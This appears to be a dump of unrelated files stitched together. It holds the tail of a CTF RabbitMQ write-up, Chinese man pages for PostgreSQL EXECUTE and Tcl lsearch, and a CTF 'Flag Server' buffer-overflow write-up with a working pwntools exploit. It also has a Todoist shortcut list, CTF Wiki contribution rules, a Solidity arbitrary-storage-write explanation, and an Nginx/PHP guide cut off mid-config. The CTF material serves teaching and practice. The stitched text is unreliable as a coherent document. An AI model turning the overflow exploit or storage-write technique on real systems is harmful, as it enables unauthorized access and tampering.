channel.basic_consume(queue="hello", on_message_callback=callback)
channel.start_consuming()
```
We run and get the following output:
```console
┌──(user@kali)-[/media/sf_CTFs/bsides/The_Rabbit_Hole]
└─$ python3 test.py
Traceback (most recent call last):
File "/media/sf_CTFs/bsides/The_Rabbit_Hole/test.py", line 6, in <module>
connection = pika.BlockingConnection(pika.ConnectionParameters('the-rabbit-hole.ctf.bsidestlv.com', 5672, '/'))
File "/home/user/.local/lib/python3.9/site-packages/pika/adapters/blocking_connection.py", line 360, in __init__
self._impl = self._create_connection(parameters, _impl_class)
File "/home/user/.local/lib/python3.9/site-packages/pika/adapters/blocking_connection.py", line 451, in _create_connection
raise self._reap_last_connection_workflow_error(error)
pika.exceptions.ProbableAuthenticationError: ConnectionClosedByBroker: (403) 'ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.'
```
So, we add the credentials we've received from the description:
```python
credentials = pika.PlainCredentials('ctf', 'ctf')
connection = pika.BlockingConnection(pika.ConnectionParameters('the-rabbit-hole.ctf.bsidestlv.com', 5672, '/', credentials))
```
It works, but nothing arrives:
```console
┌──(user@kali)-[/media/sf_CTFs/bsides/The_Rabbit_Hole]
└─$ python3 test.py
[*] Waiting for messages. To exit press Ctrl+C
^C
```
We can try to connect to an exchange by adding:
```python
result = channel.queue_declare(queue='')
queue_name = result.method.queue
print(f" [-] Queue Name: {queue_name}")
channel.queue_bind(exchange='', queue=queue_name)
```
But we fail since we can't connect to the default exchange:
```console
┌──(user@kali)-[/media/sf_CTFs/bsides/The_Rabbit_Hole]
└─$ python3 solve.py
[-] Queue Name: amq.gen-9z0AlTByGDHenZBtq-tMuQ
Traceback (most recent call last):
File "/media/sf_CTFs/bsides/The_Rabbit_Hole/solve.py", line 15, in <module>
channel.queue_bind(exchange='', queue=queue_name)
File "/home/user/.local/lib/python3.9/site-packages/pika/adapters/blocking_connection.py", line 2570, in queue_bind
self._flush_output(bind_ok_result.is_ready)
File "/home/user/.local/lib/python3.9/site-packages/pika/adapters/blocking_connection.py", line 1339, in _flush_output
raise self._closing_reason # pylint: disable=E0702
pika.exceptions.ChannelClosedByBroker: (403, 'ACCESS_REFUSED - operation not permitted on the default exchange')
```
What if we try a different exchange, such as 'test'?
```console
┌──(user@kali)-[/media/sf_CTFs/bsides/The_Rabbit_Hole]
└─$ python3 solve.py
[-] Queue Name: amq.gen-uj30aPm97CkwSsOoK8W_1Q
Traceback (most recent call last):
File "/media/sf_CTFs/bsides/The_Rabbit_Hole/solve.py", line 15, in <module>
channel.queue_bind(exchange='test', queue=queue_name)
File "/home/user/.local/lib/python3.9/site-packages/pika/adapters/blocking_connection.py", line 2570, in queue_bind
self._flush_output(bind_ok_result.is_ready)
File "/home/user/.local/lib/python3.9/site-packages/pika/adapters/blocking_connection.py", line 1339, in _flush_output
raise self._closing_reason # pylint: disable=E0702
pika.exceptions.ChannelClosedByBroker: (404, "NOT_FOUND - no exchange 'test' in vhost '/'")
```
It can't be found. According to the docs, there is no way for a client to enumerate the list of existing exchanges. However, we have a hint in the description:
> My logs are always leaked, do you think you can read them?
Let's try "logs", after all, it's right there in the [official tutorial](https://www.rabbitmq.com/tutorials/tutorial-three-python.html):
```console
┌──(user@kali)-[/media/sf_CTFs/bsides/The_Rabbit_Hole]
└─$ python3 solve.py
[-] Queue Name: amq.gen-dLgzc-twerpLr16sAgJbhA
[*] Waiting for logs. To exit press CTRL+C
[x] Received: b'BSidesTLV2021{Sl1d_D0wn_4_r4bb1t_H0l3}'
[x] Received: b'BSidesTLV2021{Sl1d_D0wn_4_r4bb1t_H0l3}'
[x] Received: b'BSidesTLV2021{Sl1d_D0wn_4_r4bb1t_H0l3}'
^C
```
The final script:
```python
#!/usr/bin/env python
import pika
def callback(ch, method, properties, body):
print(f" [x] Received: {body}")
credentials = pika.PlainCredentials('ctf', 'ctf')
connection = pika.BlockingConnection(pika.ConnectionParameters('the-rabbit-hole.ctf.bsidestlv.com', 5672, '/', credentials))
channel = connection.channel()
result = channel.queue_declare(queue='')
queue_name = result.method.queue
print(f" [-] Queue Name: {queue_name}")
channel.queue_bind(exchange='logs', queue=queue_name)
print(' [*] Waiting for logs. To exit press CTRL+C')
channel.basic_consume(queue = queue_name, on_message_callback = callback, auto_ack = True)
channel.start_consuming()
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "EXECUTE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
EXECUTE \- 执行一个准备好的查询
.SH SYNOPSIS
.sp
.nf
EXECUTE \fIplan_name\fR [ (\fIparameter\fR [, ...] ) ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBEXECUTE\fR 用于执行一个前面准备好的语句。 因为一个准备好的查询只在会话的生命期里存在,那么准备好的查询必须是在当前会话的前些时候用 PREPARE 语句执行的。
.PP
如果创建语句的 PREPARE 语句声明了一些参数, 那么传递给 EXECUTE 语句的必须是一个兼容的参数集, 否则就会生成一个错误。请注意(和函数不同),准备好的语句不会基于参数的类型或者个数重载: 在一次数据库会话过程中,准备好的语句的名字必须是唯一的。
.PP
有关创建和使用准备好的语句的更多信息, 请参阅 PREPARE [\fBprepare\fR(7)].
.SH "PARAMETERS 参数"
.TP
\fB\fIplan_name\fB\fR
要执行的准备好的语句。
.TP
\fB\fIparameter\fB\fR
给准备好的语句的一个参数的具体数值。 它必须是一个生成与创建这个准备好的语句的 PREPARE 语句指定参数位置的参数相兼容的数据类型的表达式。
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准包括一个 EXECUTE 语句, 但它只是用于嵌入的 SQL 客户端。PostgreSQL 实现的 EXECUTE 的语法也略微不同。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Flag Server
Category: Binary Exploitation, 50 points
## Description
> I found this cool service that gives out flags, but you need to have a username and password to log in...
```c
#include <stdio.h>
#include <unistd.h>
#include "flag.h"
int get_credentials();
int authenticate_with_server(int *authenticated);
void print_flag();
extern char flag[100];
#define USERNAME_LENGTH 32
#define PASSWORD_LENGTH 64
int main() {
int authenticated = 0;
char username[USERNAME_LENGTH] = {0};
char password[PASSWORD_LENGTH] = {0};
printf("Hello and thank you for using Flag Distibuter v1.0 🚩🚩🚩\n");
printf("To receive the flag, please enter your username and password\n");
printf("Username: ");
fflush(stdout);
read(STDIN_FILENO, username, PASSWORD_LENGTH);
printf("Password: ");
fflush(stdout);
read(STDIN_FILENO, password, PASSWORD_LENGTH);
printf("Autenticating...\n");
authenticate_with_server(&authenticated);
if(authenticated)
print_flag();
else
printf("Could not authenticate using these username and password\n");
return 0;
}
void print_flag() {
printf("Authenticated, here's the flag: %s\n", flag);
}
int authenticate_with_server(int *authenticated) {
/*TODO: add authentication with server*/
sleep(1);
return 0;
}
```
## Solution
We can see that the username buffer is allocated as `username[USERNAME_LENGTH]` but is read into using `read(STDIN_FILENO, username, PASSWORD_LENGTH)`, and since `USERNAME_LENGTH < PASSWORD_LENGTH` we have a buffer overflow. We might be tempted to use it in order to try and call `print_flag`, but the binary is compiled with ASLR:
```console
┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Flag_Server]
└─$ checksec --file ./flag_server
[*] '/media/sf_CTFs/ducky_debug_duck/Flag_Server/flag_server'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
Add to that the fact that `read` will read the complete `PASSWORD_LENGTH` it is requested to, and it looks like we won't be able to override just the lower bytes of the return address for a statistic ASLR bypass. Instead, we'll override `authenticated`.
The difference between `authenticated` and `username` according to Ghidra is `abs( (-0x38) - (-0xc) ) = 44`:
```
**************************************************************
* FUNCTION *
**************************************************************
undefined8 __stdcall main(void)
undefined8 RAX:8 <RETURN>
undefined4 Stack[-0xc]:4 authenticated XREF[3]: 001011d5(W),
001012cc(*),
001012d8(R)
undefined8 Stack[-0x20]:8 local_20 XREF[1]: 001011f4(W)
undefined8 Stack[-0x28]:8 local_28 XREF[1]: 001011ec(W)
undefined8 Stack[-0x30]:8 local_30 XREF[1]: 001011e4(W)
undefined8 Stack[-0x38]:8 username XREF[2]: 001011dc(W),
00101274(*)
undefined8 Stack[-0x40]:8 local_40 XREF[1]: 00101234(W)
undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0010122c(W)
undefined8 Stack[-0x50]:8 local_50 XREF[1]: 00101224(W)
undefined8 Stack[-0x58]:8 local_58 XREF[1]: 0010121c(W)
undefined8 Stack[-0x60]:8 local_60 XREF[1]: 00101214(W)
undefined8 Stack[-0x68]:8 local_68 XREF[1]: 0010120c(W)
undefined8 Stack[-0x70]:8 local_70 XREF[1]: 00101204(W)
undefined8 Stack[-0x78]:8 password XREF[2]: 001011fc(W),
001012aa(*)
```
Therefore, by sending `45` bytes, we'll override `authenticated` to a `true` value and get the flag:
```python
# First, generate a pwntools template using:
# $ pwn template --host ctf.cs.technion.ac.il --port 4068 ./flag_server
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
def send_payload(p, payload):
p.recvuntil(b"Username: ")
p.send(payload)
p.recvuntil(b"Password: ")
p.sendline(b"dummy")
io = start()
send_payload(io, b'A' * 45)
print(io.recvall())
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Flag_Server]
└─$ python3 exploit.py
[*] '/media/sf_CTFs/ducky_debug_duck/Flag_Server/flag_server'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to ctf.cs.technion.ac.il on port 4068: Done
[+] Receiving all data: Done (79B)
[*] Closed connection to ctf.cs.technion.ac.il port 4068
b"Autenticating...\nAuthenticated, here's the flag: flag{protect_your_boundaries}\n"
```
|
sec-knowleage
|
---
title: Todoist
date: 2022-11-23 16:23:31.696934
background: bg-[#cc4d3b]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 37 keyboard shortcuts found in Todoist
---
Keyboard Shortcuts
------------------
### Task Quick Add
Shortcut | Action
---|---
`@` | Add a label
`#` | Pick a project
`+` | Add an assignee
`p1/p2/p3/p4` | Set a priority level
`Ctrl` `M` | Add a comment to a newly created task
`Alt` `Enter` | Save and go to comments (Win 10 only)
`Tab` | Open full task editor (Win 10 only)
{.shortcuts}
### General
Shortcut | Action
---|---
`Ctrl` `Click` | Select and change multiple tasks at once
`Q` | Add task
`A` | Add new task at the bottom of the list
`Shift` `A` | Add new task at the top of the list
`/` | Open search
`U` | Undo last action
`F5` | Manually sync
`Home` | Navigate to default page
`PgUp` | Navigate back in 1-pane/2-pane view
`PgDown` | Navigate forward in 1-pane/2-pane view
{.shortcuts}
### Adding or editing tasks
Shortcut | Action
---|---
`Esc` | Cancel current changes
`Enter` | Save a newly created task and create a new one below it
`Shift` `Enter` | Save changes to an existing task and create a new task below it
`Ctrl` `Enter` | Save a new task or save changes to an existing one and create a new task above it
`Ctrl` `Up` | Move to the task above the task currently being edited
`Ctrl` `Down` | Move to the task below the task currently being edited
{.shortcuts}
### Creating and completing sub-tasks
Shortcut | Action
---|---
`Ctrl` `Alt` `Right` | Increase task indent
`Ctrl` `Alt` `Left` | Decrease task indent
`Shift` `(click)` | Complete a sub-task or recurring task and archive it
{.shortcuts}
### Sorting tasks inside a project
Shortcut | Action
---|---
`S` | Sort by date
`P` | Sort by priority
`R` | Sort by assignee
{.shortcuts}
### Navigation
Shortcut | Action
---|---
`Ctrl` `1` | Inbox
`Ctrl` `Shift` `1` | Team Inbox (Todoist Business only)
`Ctrl` `2` | Today
`Ctrl` `3` | Next 7 days
`Ctrl` `4` | Projects
`Ctrl` `5` | Labels
`Ctrl` `6` | Filters
`Ctrl` `,` | Settings
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Todoist](https://get.todoist.help/hc/en-us/articles/205063212-Keyboard-Shortcuts) _(get.todoist.help)_
|
sec-knowleage
|
# 基本贡献方式
## 我之前没怎么用过 Github
参与 Wiki 的编写**需要**一个 Github 账号, **不需要**高超的 Github 技巧。
举个栗子,假如我想要修改一个页面内容,应该怎么操作呢?
1. 在 [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/) 上找到对应页面
2. 点击 正文右上方、目录左侧的 **“编辑此页”** 按钮
3. (应该已经跳转到了 Github 上的对应页面吧?)这时候右上方还会有一个 **“编辑此页”** 的按钮,点击它就可以在线编辑了
4. 写好了之后点下方的绿色按钮,可能会提示没有权限。不必担心!Github 会自动帮你 fork 一份项目的文件并创建 Pull Request
(有木有很简单?)
如果还是不放心,可以参考以下资料:
https://guides.github.com/activities/hello-world/
https://guides.github.com/activities/forking/
## 我之前用过 Github
基本协作方式如下
1. Fork 主仓库到自己的仓库中。
2. 当想要贡献某部分内容时,请务必仔细查看 **[Issue](https://github.com/ctf-wiki/ctf-wiki/issues)** 与 **[Project](https://github.com/ctf-wiki/ctf-wiki/projects)**,以便确定是否有人已经开始了这项工作。当然,我们更希望你可以加入[Slack](https://join.slack.com/t/ctf-wiki/shared_invite/enQtNTkwNDg5NDUzNzAzLWExOTRhZTE0ZTMzYjVlNDk5OGI3ZDA1NmQyZjE4NWRlMGU3NjEwM2Y2ZTliMTg4Njg1MjliNWRhNTk2ZmY0NmI),以便于沟通与交流。
3. 在决定将内容推送到本仓库时,**请你首先拉取本仓库代码进行合并,自行处理好冲突,同时确保在本地可以正常生成文档**,然后再 PR 到主仓库的 master 分支上。其中,PR 需要包含以下基本信息
* 标题:本次 PR 的目的(做了什么工作,修复了什么问题)
* 内容:如果必要的话,请给出对修复问题的叙述
* **注意,所有的内容都应该使用英语**
4. 如果发现 PR 中有什么问题,请在 PR 中直接评论,并尽量给出修正的方式,或者也可以直接进行修改。
5. 提出该 PR 的人根据评论修正内容,然后将修改后的内容 Merge 到 master 分支中。
目前,在人员较少的前提下,基本上可以忽略 4-5 步。
## 注意
- 每次 Pull Request 应只解决一个主要的事情,这样方便于进行修改。
- 在每次 Pull Request 时,请确保自己在本地生成时,可以正确显示,并在 Pull Request 页面的评论中查看预览的站点是否为自己期望的样子。
- 如果你想要开启一个新的章节,即编写目前 CTF Wiki 中没有的内容,请务必加入 Slack 中交流,并在交流完毕后**将自己想要开启的新的章节以简明扼要的方式发起一个新的 issue**,以便于管理人员把这个放到对应 Project 的 In Process 栏中。
- 在你成为团队成员后,你可以自由地编写 Project 中的内容。
- 更多信息,请参见 [F.A.Q](https://github.com/ctf-wiki/ctf-wiki/wiki/F.A.Q)。
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: lsearch.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: lsearch.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH lsearch 3tcl 7.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
lsearch \- 查看一个列表是否包含一个特定的元素
.SH "总览 SYNOPSIS"
\fBlsearch \fR?\fImode\fR? \fIlist pattern\fR
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令在 \fIlist\fR 的元素中进行查找,看它们中是否有一个匹配 \fIpattern\fR。如果有,命令返回第一个匹配的元素的索引。如果没有,命令返回 \fB-1\fR。\fImode\fR 参数指示这个列表的元素以何种方式与 \fIpattern\fR 相匹配,它必须是下列值中的某一个:
.TP
\fB\-exact\fR
列表中的元素必须精确的包含与 \fIpattern \fR相同的字符串。
.TP
\fB\-glob\fR
\fIPattern\fR 是一个通配符式样的模式,它匹配使用与 \fBstring match\fR 命令相同的规则的每个列表元素。
.TP
\fB\-regexp\fR
\fIPattern\fR 被作为一个正则表达式来对待,它匹配使用在 \fBre_syntax\fR 参考页中描述的规则的每个列表元素。
.PP
如果省略了 \fImode\fR 则它缺省为 \fB-glob\fR。
.SH "关键字 KEYWORDS"
list, match, pattern, regular expression, search, string
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/09/06
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
### Arbitrary Writing原理
动态数组的任意 Storage 存储写漏洞,根据 [官方文档](https://docs.soliditylang.org/en/v0.8.1/internals/layout_in_storage.html#) 介绍,可总结如下
- EVM 中,有三个地方可以存储变量,分别是 Memory、Stack 和 Storage。Memory 和 Stack 是在执行期间临时生成的存储空间,主要负责运行时的数据存储,Storage 是永久存在于区块链中的变量。
+ Memory: 内存,生命周期仅为整个方法执行期间,函数调用后回收,因为仅保存临时变量,故 GAS 开销很小
+ Storage: 永久储存在区块链中,由于会永久保存合约状态变量,故 GAS 开销也最大
+ Stack: 存放部分局部值类型变量,几乎免费使用的内存,但有数量限制
- EVM 对每一个智能合约维护了一个巨大的 **key-value** 的存储结构,用于持久化存储数据,我们称这片区域为 Storage。除了 map 映射变量和变长数组以外的所有类型变量,在 Storage 中是依次连续从 slot 0 开始排列的,一共有 2^256 个 slot,每个 slot 可以存储 32 字节的数据。Storage 存储结构是在合约创建的时候就确定好的,它取决于合约所声明状态变量,但是内容可以通过 Transaction 改变。
- Storage 变量大致分为 4 种类型:定长变量、结构体、map 映射变量和变长数组。如果多个变量占用的大小小于 32 字节,按照紧密打包原则,会尽可能打包到单个 slot 中,具体规则如下:
+ 在 slot 中,是按照低位对齐存储的,即大端序
+ 基本类型变量存储时仅存储它们实际所需的字节数
+ 如果基本类型变量不能放入某个 slot 余下的空间,它将被放入下一个 slot
+ map 和变长数组总是使用一个全新的 slot,并占用整个 slot,但对于其内部的每个变量,还是要遵从上面的规则
### Arbitrary Writing slot 计算规则
首先我们分析一下各种对象结构在 EVM 中的存储和访问情况
#### 定长变量和结构体
Solidity 中的定长定量在定义的时候,其长度就已经被限制住了。比如定长整型(uint、uint8),地址常量(address),定长字节数组(bytes1-32)等,这类的变量在 Storage 中是尽可能打包成 32 字节的块顺序存储的。
Solidity 的结构体并没有特殊的存储模型,在 Storage 中的存储可以按照定长变量规则分析。
#### Map 映射变量
在 Solidity 中,并不存储 map 的键,只存储键对应的值,值是通过键的 hash 索引来找到的。用 $slotM$ 表示 map 声明的 slot 位置,用 $key$ 表示键,用 $value$ 表示 $key$ 对应的值,用 $slotV$ 表示 $value$ 的存储位置,则
- $slotV = keccak256(key|slotM)$
- $value = sload(slotV)$
#### 变长数组
用 $slotA$ 表示变长数组声明的位置,用 $length$ 表示变长数组的长度,用 $slotV$ 表示变长数组数据存储的位置,用 $value$ 表示变长数组某个数据的值,用 $index$ 表示 $value$ 对应的索引下标,则
- $length = sload(slotA)$
- $slotV = keccak256(slotA) + index$
- $value = sload(slotV)$
变长数组在编译期间无法知道数组的长度,没办法提前预留存储空间,所以 Solidity 就用 $slotA$ 位置存储了变长数组的长度
!!! note
注:变长数组具体数据存放在 keccak256 哈希计算之后的一片连续存储区域,这一点与 Map 映射变量不同。
### Arbitrary Writing漏洞介绍
在以太坊 EVM 的设计思路中,所有的 Storage 变量共用一片大小为 2^256*32 字节的存储空间,没有各自的存储区域划分。
Storage 空间即使很大也是有限大小,当变长数组长度很大时,考虑极端情况,如果长度达到 2^256,则可对任意 Storage 变量进行读写操作,这是非常可怕的。
|
sec-knowleage
|
# Nginx
---
**项目地址**
- https://www.nginx.com/
**配置生成**
- https://github.com/digitalocean/nginxconfig.io
---
## 反向代理
反向代理(Reverse Proxy)方式是指以代理服务器来接受 internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 internet 上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器.
```vim
cd /usr/local/nginx/conf
vim nginx.conf
server {
#侦听的80端口
listen 80;
server_name localhost;
location / {
proxy_pass http://127.0.0.1:81; #在这里设置一个代理
#以下是一些反向代理的配置可删除
proxy_redirect off;
#后端的Web服务器可以通过X-Forwarded-For获取用户真实IP
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
client_max_body_size 10m; #允许客户端请求的最大单文件字节数
client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数
proxy_connect_timeout 300; #nginx跟后端服务器连接超时时间(代理连接超时)
proxy_send_timeout 300; #后端服务器数据回传时间(代理发送超时)
proxy_read_timeout 300; #连接成功后,后端服务器响应时间(代理接收超时)
proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小
proxy_buffers 4 32k; #proxy_buffers缓冲区,网页平均在32k以下的话,这样设置
proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2)
proxy_temp_file_write_size 64k; #设定缓存文件夹大小,大于这个值,将从upstream服务器传
}
}
```
---
## 添加https
```bash
openssl req -new -x509 -nodes -days 365 -newkey rsa:1024 -out httpd.crt -keyout httpd.key # 生成自签名证书,信息不要瞎填,Common Name一定要输你的网址
mv httpd.crt /etc/nginx
mv httpd.key /etc/nginx
```
```vim
vim /etc/nginx/conf.d/test.com.conf
server {
listen 443 ssl http2;
server_name www.test.com test.com;
root /usr/share/nginx/test.com;
index index.html;
ssl_certificate "/etc/nginx/httpd.crt";
ssl_certificate_key "/etc/nginx/httpd.key";
location / {
}
error_page 404 /404.html;
location = /40x.html {
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}
```
```bash
systemctl restart nginx
```
---
## 添加PHP环境支持
**Centos**
```bash
# 安装PHP源
rpm -ivh https://mirror.webtatic.com/yum/el7/epel-release.rpm
rpm -ivh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
# 安装 PHP7.0
yum install -y php70w php70w-fpm php70w-mysql php70w-mysqlnd
systemctl start php-fpm.service
netstat -tnlp # 检查 php-fpm 默认监听端口:9000
```
```bash
# 添加配置
vim /etc/nginx/conf.d/test.com.conf
# php-fpm (新增)
location ~\.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME$document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_script_name;
include fastcgi_params;
}
```
```bash
systemctl restart nginx
systemctl restart php-fpm
```
```vim
vim /usr/share/nginx/test.com/info.php
<?php
phpinfo();
?>
```
`curl http://www.test.com/info.php` 测试
**Ubuntu**
```bash
apt-get update # 更新安装包
apt-get install -y language-pack-en-base
locale-gen en_US.UTF-8 # 设定语言编码为 UTF-8
apt-get install -y software-properties-common
LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php # 添加 php7 的 ppa
apt-get update # 更新安装包
apt-get install -y php7.1 # 安装 php
php -v # 查看是否安装成功
apt-get install -y php7.1-fpm php7.1-mysql php7.1-curl php7.1-xml php7.1-mcrypt php7.1-json 2-gd php7.1-mbstring php7.1-zip # 安装其他必备模块
php -m # 查看已安装模块
service php7.1-fpm start
```
配置 Nginx
```vim
vim /etc/nginx/sites-available/default
server {
index index.php index.html index.htm;
server_name xxx.xx;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php7.1-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
```
```bash
service nginx restart
service firewalld stop
```
**Debian**
```bash
apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://packages.sury.org/php/apt.gpg | apt-key add -
add-apt-repository "deb https://packages.sury.org/php/ $(lsb_release -cs) main"
apt update
apt install -y php7.2
apt install -y php7.2-common php7.2-cli
apt install -y libcurl3
apt install -y php7.2-fpm php7.2-mysql php7.2-curl php7.2-xml php7.2-json php7.2-gd php72-mbstring php7.2-zip
php -v
systemctl status php7.2-fpm
```
配置 Nginx
```vim
vim /etc/nginx/sites-available/default
server {
index index.php index.html index.htm;
